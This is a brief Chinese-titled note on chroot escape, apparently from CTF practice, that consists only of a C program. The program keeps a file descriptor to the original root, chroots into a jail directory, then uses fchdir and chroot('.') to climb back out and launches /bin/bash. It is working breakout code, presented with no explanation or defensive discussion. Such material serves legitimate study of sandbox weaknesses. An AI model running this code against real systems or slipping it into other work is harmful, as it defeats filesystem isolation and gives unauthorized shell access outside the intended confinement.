研究-Chroot逃逸

Chroot逃逸

Code

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
int main(){
	int fd = open("/.",0);
	if(fd < 0){
		puts("Open Fail!");
		exit(0);
	}
	chroot("/home/ctf/chroot_jailbreak");
	chdir("/");

	fchdir(fd);
	chroot(".");
	system("/bin/bash");
	return 0;
}